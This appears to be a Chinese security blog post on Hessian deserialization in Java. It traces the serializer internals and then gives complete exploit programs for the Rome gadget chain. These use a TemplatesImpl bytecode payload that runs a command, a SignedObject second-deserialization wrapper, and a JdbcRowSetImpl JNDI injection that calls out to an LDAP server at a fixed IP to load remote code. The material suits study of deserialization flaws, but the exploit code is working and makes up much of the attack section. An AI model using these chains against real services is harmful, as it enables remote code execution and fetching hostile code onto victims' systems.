Hessian反序列化
RPC
RPC**(Remote Procedure Call Protocol,远程过程调用协议)**
RPC和RMI类似,都能通过网络调用远程服务,但RPC和RMI的不同之处就在于它以标准的二进制格式来定义请求的信息 ( 请求的对象、方法、参数等 ),这种方式传输信息的优点之一就是跨语言及操作系统。
RPC协议的一次远程通信过程如下
- 客户端发起请求,并按照RPC协议格式填充信息
- 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
- 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
- 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回
介绍
Hessian 是 caucho 公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范,一般称之为 Hessian ,并逐步迭代,在 Hassian jar 3.2.0 之后,采用了新的 2.0 版本的协议,一般称之为 Hessian 2.0。
Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。
Hessian的基本使用
因为 Hessian 基于 HTTP 协议,所以通常通过 Web 应用来提供服务,这里测试一下序列化和反序列化
先导入maven依赖
1
2
3
4
5
6
7
|
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>
</dependencies>
|
依旧person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import java.io.Serializable;
public class Person implements Serializable {
public String name;
public int age;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}
|
HessianTest.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
public class HessianTest implements Serializable {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao);
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static void main(String[] args) throws IOException {
Person person = new Person();
person.setAge(18);
person.setName("0d00");
byte[] s = serialize(person);
Person p = deserialize(s);
System.out.println(p);
}
}
|
Hessian1.0
序列化
先在writeObject这里下断点,看一下hessian1.0的序列化流程

先会获取serializer对象

这里先判断_cachedSerializerMap的值,不为空的话就会优先调用缓存的map的get方法,我们这里为null,就会调用loadSerializer方法

这里serializer还是空,所以调用_contextFactory.getSerializer方法,然后走到下面

这里还是为null,继续往后面走,这里我们是自定义的对象,走到最后的getDefaultSerializer方法

继承了Serializable接口,并且_isAllowNonSerializable为true进到UnsafeSerializer类的create方法

跟进就走到introspect方法,是一个封装没啥看的,然后一路往后面走,serializer器获取完之后调用writeObject进行序列化

一路跟进,就能走到writeMapBegin方法



这里显然可以看出ref是-2,最后会走到writeObject10方法,这里writeMapBegin方法可以看到它写入M和t字符到os变量里面,其实就是输入流

对每个字符进行序列化之后,以writeMapEnd作为收尾。

这里就能看出序列化结果的前两个一定是Mt
反序列化
readObject下断点




然后接下来就跟上面序列化的方法很像,先后调用 _contextFactory.getDeserializer 和 factory.getCustomDeserializer 两个方法来获得 deserializer 对象,如果还是为 null,那么就会对 cl 对象进行类型判断,返回相应的 deserializer 对象,自定义对象默认调用 getDefaultDeserializer 方法

然后获取到deserializer后,调用readMap方法



这里调用_unsafe.putObject进行赋值,最后返回resolve

Hessian2
序列化
把前面的HessianOutput/HessianInput 换为 Hessian2Ouput/Hessian2Input 这两个类
流程跟前面类似

获取到序列化器之后,调用writeObject方法

还是调用writeObjectBegin,不过里面的实现不一样

这里把字符C作为标志位,返回ref是-1,最后调用writeDefinition20方法

反序列化
还是跟前面类似,但是这里调试如果是前面的代码会出问题,这里在序列化的时候输入流没有关闭,当 Hessian2Input 开始读取时,它在尝试读取一个完整的对象,但由于缺少结尾标志(因为没有 flush),它读到一半就遇到了流的末尾,因此抛出 EOFException: unexpected end of file,所以这里要补上flush或者close方法
前面序列化的时候就知道这里序列化标志位是C,所以这里if走到C这里


依旧获取反序列化器


还是这个UnsafeDeserializer,后面其实一样

漏洞
前面我们用自定义的类进行了调试,发现无论是hessian1还是hessian2都用unsafe进行反射赋值,没有看到能利用的点,其实漏洞在于MapDeserializer#readMap这里

这里会调用hessian的readObject读取键值对中的key和value,外面用map.put方法进行赋值,这里不难想到我们的HashMap的put可以触发key.hashCode()、key.equals()这种方法,然后TreeMap可以触发key.compareTo()
这里新建一个hashmap对象调试看看后续怎么处理的,这里肯定是进H开头的处理

可以看到这里反序列化器直接就是MapDeserialzer了

这里根据map类型走到不同的map来反序列化

然后这里调用前面选择的map类型反序列化后end,这里走的是hashmap的put方法,后面就走hashcode方法或者equals方法了
然后试试TreeMap
1
2
3
4
5
|
TreeMap treeMap = new TreeMap();
treeMap.put((Comparable) o -> 0, null);
byte[] bytes = serialize(treeMap);
treeMap = deserialize(bytes);
System.out.println(treeMap);
|
习惯写lambda表达式了,然后报错说是lambda表达式没有继承Serializable接口,加上一个并集继承就行
1
|
treeMap.put((Comparable<Object> & Serializable) o -> 0, null);
|
不过序列化出来一坨,要正常写的话,先写一个继承Serializable接口的类,再调用就行
1
2
3
4
5
6
7
8
|
static class MyComparable implements Comparable<Object>, Serializable {
private static final long serialVersionUID = 1L;
@Override
public int compareTo(Object o) {
return 0;
}
}
treeMap.put(new MyComparable(), null);
|
这里走M开头的处理,然后走到前面的put方法


调用k1的compareTo方法,最后就走回去了
链子
Rome
上面说到调用map类型的对象才会出现漏洞,我们不难想到在Rome链中的source中有hashMap
直接接上链子测试一下,也就是序列化和反序列化换成hessian的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
package Hessian2Rome;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Attack1 {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
//防止序列化时提前触发
TemplatesImpl fakeTemplates = new TemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"0d00");
//反射修改ToStringBean的值回恶意templatesImpl
setFieldValue(toStringBean,"_obj",templatesImpl);
byte[] bytes = serialize(hashMap);
deserialize(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
public static Object deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
return hessianInput.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
没回显,查看别的大佬博客说是TemplatesImpl 中的 _tfactory 是一个 transient,无法参与序列化与反序列化,然后因为在 TemplatesImpl 的 readobject 方法中会给 _tfactory 赋值,所以这里可以打二次反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
package Hessian2Rome;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
public class Attack1 {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
//防止序列化时提前触发
TemplatesImpl fakeTemplates = new TemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"0d00");
//反射修改ToStringBean的值回恶意templatesImpl
setFieldValue(toStringBean,"_obj",templatesImpl);
//二次反序列化包装
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,new HashMap<>());
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
HashMap hashMap2 = new HashMap();
hashMap2.put(equalsBean2,"0d00");
setFieldValue(toStringBean2,"_obj",signedObject);
byte[] bytes = serialize(hashMap2);
deserialize(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
public static Object deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
return hessianInput.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
同样可以用rome这条链jndi注入,这里就不用二次反序列化了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
package Hessian2Rome;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Hashtable;
public class Attack2 {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
JdbcRowSetImpl jrs = new JdbcRowSetImpl();
String url = "ldap://10.39.148.71:8085/mwrrBqqm";
jrs.setDataSourceName(url);
//防止序列化时提前触发
TemplatesImpl fakeTemplates = new TemplatesImpl();
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,fakeTemplates);
// EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"0d00");
//反射修改ToStringBean的值回恶意templatesImpl
setFieldValue(toStringBean,"_obj",jrs);
byte[] bytes = serialize(hashMap);
deserialize(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
public static Object deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
return hessianInput.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
}
|
Hessian Aspectj 二次反序列化新链
Hessian Aspectj 二次反序列化新链
咕咕咕